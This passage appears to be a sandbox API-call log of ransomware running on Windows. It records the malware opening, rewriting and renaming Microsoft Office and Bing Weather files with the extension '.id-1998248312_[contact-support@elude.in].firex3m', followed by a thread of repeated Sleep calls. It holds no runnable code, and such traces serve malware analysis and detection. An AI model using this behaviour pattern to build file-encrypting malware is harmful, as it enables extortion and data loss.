Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\3.png", len=0x78 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\3.png") returned 1 [0263.153] GetProcessHeap () returned 0x630000 [0263.153] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d44) returned 0x6fe3bb0 [0263.153] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\3.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.154] Sleep (dwMilliseconds=0x1) [0263.170] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\24.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\24.png") returned 1 [0263.170] GetProcessHeap () returned 0x630000 [0263.170] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d38) returned 0x6fe3bb0 [0263.170] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.175] Sleep (dwMilliseconds=0x1) [0263.186] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\23.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\23.png") returned 1 [0263.186] GetProcessHeap () returned 0x630000 [0263.186] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d34) returned 0x6fe3bb0 [0263.187] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\23.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\23.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.190] Sleep (dwMilliseconds=0x1) [0263.201] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\202.png", len=0x7a | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\202.png") returned 1 [0263.201] GetProcessHeap () returned 0x630000 [0263.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d28) returned 0x6fe3bb0 [0263.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\202.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\202.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.203] Sleep (dwMilliseconds=0x1) [0263.216] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\199.png", len=0x7a | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\199.png") returned 1 [0263.216] GetProcessHeap () returned 0x630000 [0263.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d18) returned 0x6fe3bb0 [0263.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\199.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\199.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.218] Sleep (dwMilliseconds=0x1) [0264.578] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF", len=0x6c | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF") returned 1 [0264.578] GetProcessHeap () returned 0x630000 [0264.578] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c30) returned 0x6fe3bb0 [0264.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0265.382] CloseHandle (hObject=0x6a8) returned 1 [0265.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="BLENDS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLENDS~1.FIR")) returned 0x6d5040 [0265.384] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0265.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0265.384] GetProcessHeap () returned 0x630000 [0265.384] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706b428 [0265.384] GetProcessHeap () returned 0x630000 [0265.384] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706bd48 [0265.385] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.385] ReadFile (in: hFile=0x6a8, lpBuffer=0x706b428, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b428*, lpNumberOfBytesRead=0x497ff0c*=0x200, lpOverlapped=0x0) returned 1 [0265.388] GetProcessHeap () returned 0x630000 [0265.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0265.388] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.388] WriteFile (in: hFile=0x6a8, lpBuffer=0x706bd48*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706bd48*, lpNumberOfBytesWritten=0x497ff0c*=0x200, lpOverlapped=0x0) returned 1 [0265.388] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.388] WriteFile (in: hFile=0x6a8, lpBuffer=0x706bf47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706bf47*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.388] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.388] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.390] CloseHandle (hObject=0x6a8) returned 1 [0265.390] GetProcessHeap () returned 0x630000 [0265.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706bd48 | out: hHeap=0x630000) returned 1 [0265.390] GetProcessHeap () returned 0x630000 [0265.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b428 | out: hHeap=0x630000) returned 1 [0265.390] GetProcessHeap () returned 0x630000 [0265.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0265.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6422f9c5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x23a, dwReserved0=0x497fd20, dwReserved1=0x706b428, cFileName="BLENDS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLENDS~1.FIR")) returned 0x6d5400 [0265.390] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0265.390] Sleep (dwMilliseconds=0x1) [0265.498] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML", len=0x8c | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 1 [0265.498] GetProcessHeap () returned 0x630000 [0265.498] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be0) returned 0x6fe3bb0 [0265.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0265.500] CloseHandle (hObject=0x6c8) returned 1 [0265.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\branding.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb950d65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x75002d, dwReserved1=0x5c0073, cFileName="BRANDING.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BRANDI~1.FIR")) returned 0x6d53c0 [0265.502] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0265.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\branding.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0265.502] GetProcessHeap () returned 0x630000 [0265.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0265.502] GetProcessHeap () returned 0x630000 [0265.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70180b0 [0265.502] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.502] ReadFile (in: hFile=0x6c8, lpBuffer=0x700cc80, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.531] GetProcessHeap () returned 0x630000 [0273.531] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0273.531] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.531] WriteFile (in: hFile=0x6c8, lpBuffer=0x70180b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70180b0*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.532] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.532] WriteFile (in: hFile=0x6c8, lpBuffer=0x70234af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234af*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.534] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.534] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.534] CloseHandle (hObject=0x6c8) returned 1 [0273.534] GetProcessHeap () returned 0x630000 [0273.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70180b0 | out: hHeap=0x630000) returned 1 [0273.534] GetProcessHeap () returned 0x630000 [0273.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0273.534] GetProcessHeap () returned 0x630000 [0273.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0273.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb950d65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68fbd0be, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x521dd, dwReserved0=0xbb87496, dwReserved1=0x700cc78, cFileName="BRANDING.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BRANDI~1.FIR")) returned 0x6d4f80 [0273.535] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0273.535] Sleep (dwMilliseconds=0x1) [0275.714] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF", len=0x45 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF") returned 1 [0275.714] GetProcessHeap () returned 0x630000 [0275.714] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4aec) returned 0x6fe3bb0 [0275.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\per_____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0275.716] CloseHandle (hObject=0x40c) returned 1 [0275.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\per_____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\per_____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895f7d89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb38, dwReserved0=0x0, dwReserved1=0x0, cFileName="PER_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PER___~1.FIR")) returned 0x6d4f80 [0275.718] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0275.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\per_____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0275.718] GetProcessHeap () returned 0x630000 [0275.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7495a00 [0275.718] GetProcessHeap () returned 0x630000 [0275.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7533010 [0275.719] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.719] ReadFile (in: hFile=0x40c, lpBuffer=0x7495a00, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7495a00*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 58 os_tid = 0x1270 [0067.525] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.552] Sleep (dwMilliseconds=0x1) [0067.657] Sleep (dwMilliseconds=0x1) [0067.661] Sleep (dwMilliseconds=0x1) [0067.680] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.711] Sleep (dwMilliseconds=0x1) [0067.724] Sleep (dwMilliseconds=0x1) [0067.742] Sleep (dwMilliseconds=0x1) [0067.762] Sleep (dwMilliseconds=0x1) [0067.774] Sleep (dwMilliseconds=0x1) [0067.788] Sleep (dwMilliseconds=0x1) [0067.933] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.147] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.393] Sleep (dwMilliseconds=0x1) [0068.492] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.697] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] Sleep (dwMilliseconds=0x1) [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] Sleep (dwMilliseconds=0x1) [0068.935] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.048] Sleep (dwMilliseconds=0x1) [0069.104] Sleep (dwMilliseconds=0x1) [0069.159] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.292] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.483] Sleep (dwMilliseconds=0x1) [0069.522] Sleep (dwMilliseconds=0x1) [0069.689] Sleep (dwMilliseconds=0x1) [0069.919] Sleep (dwMilliseconds=0x1) [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] Sleep (dwMilliseconds=0x1) [0070.382] Sleep (dwMilliseconds=0x1) [0070.534] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.569] Sleep (dwMilliseconds=0x1) [0071.942] Sleep (dwMilliseconds=0x1) [0072.430] Sleep (dwMilliseconds=0x1) [0072.607] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.906] Sleep (dwMilliseconds=0x1) [0073.099] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) 